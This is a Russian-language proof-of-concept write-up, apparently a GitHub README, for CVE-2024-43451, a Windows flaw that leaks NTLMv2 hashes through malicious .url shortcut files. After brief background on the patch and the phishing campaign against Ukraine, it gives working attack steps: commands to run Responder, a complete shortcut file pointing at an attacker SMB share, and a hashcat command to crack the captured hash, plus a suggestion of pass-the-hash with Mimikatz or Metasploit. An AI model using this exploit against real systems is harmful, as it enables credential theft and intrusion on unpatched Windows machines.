
CVE-2024-43451 — это уязвимость Windows NTLM, которая позволяет злоумышленнику принудительно выполнить аутентификацию и захватить NTLM-хеши с помощью вредоносных ярлыков.
CVE-2024-43451 — это уязвимость нулевого дня в Microsoft Windows, которая позволяет злоумышленникам захватывать хэши паролей NTLMv2 при минимальном взаимодействии с пользователем, что потенциально может привести к краже учетных данных. Часто используемый метод заключается в использовании аутентификации NTLM через SMB-соединения с удаленным сервером для захвата хэша. Эта уязвимость была исправлена в обновлениях ноября 2024 года. Пользователям рекомендуется установить соответствующие обновления безопасности для снижения риска.
Эта атака была обнаружена как активно эксплуатируемая с помощью фишингового письма, отправленного с взломанного сервера украинского правительства. Письмо содержит вредоносный URL-файл. Когда пользователь взаимодействует с файлом (щелчок правой кнопкой мыши, удаление или перемещение), уязвимость активируется. Это инициирует подключение к серверу злоумышленника, что приводит к загрузке дополнительных вредоносных файлов, таких как вредоносное ПО SparkRAT (троян удаленного доступа с открытым исходным кодом, позволяющий злоумышленнику получить контроль над системой жертвы).
NTLMv2 в настоящее время является наиболее безопасной версией и наиболее актуальной на сегодняшний день.
image
Для создания рабочей среды для данного POC необходимо настроить целевую машину Windows с номером сборки, выпущенным до ноября 2024 года, и удаленный сервер для имитации захвата хэша:
Responder для захвата хэша через SMB:
brew install python3
git clone https://github.com/lgandx/Responder.git
cd Responder
sudo python3 Responder.py -I <put your network interface> -v
\\(remote server IP):
Поскольку все, что нужно для эксплойта — это установить SMB-соединение с удаленным сервером, мы можем использовать простой файл для его имитации:
[InternetShortcut]
URL=\\(remote server IP)\share
IconIndex=32
IconFile=C:\Windows\System32\shell32.dll
Как только файл подготовлен и доставлен в целевую систему, кража хэша требует минимального взаимодействия с пользователем. Это взаимодействие может включать любое из следующих действий:
https://github.com/user-attachments/assets/fd6389b5-4ee9-4d90-a76e-562394b24058
https://github.com/user-attachments/assets/b820ea73-b0fc-40f1-920e-28cf7869f1e2
Имея незашифрованный хэш, мы можем либо попытаться взломать его, чтобы получить пароль в открытом виде,
или использовать его в атаке «Pass-the-Hash» с помощью таких инструментов, как Mimikatz или Metasploit.
В нашем случае простая команда Hashcat раскрывает мой пароль:
hashcat -m 5600 leak.txt rockyou.txt
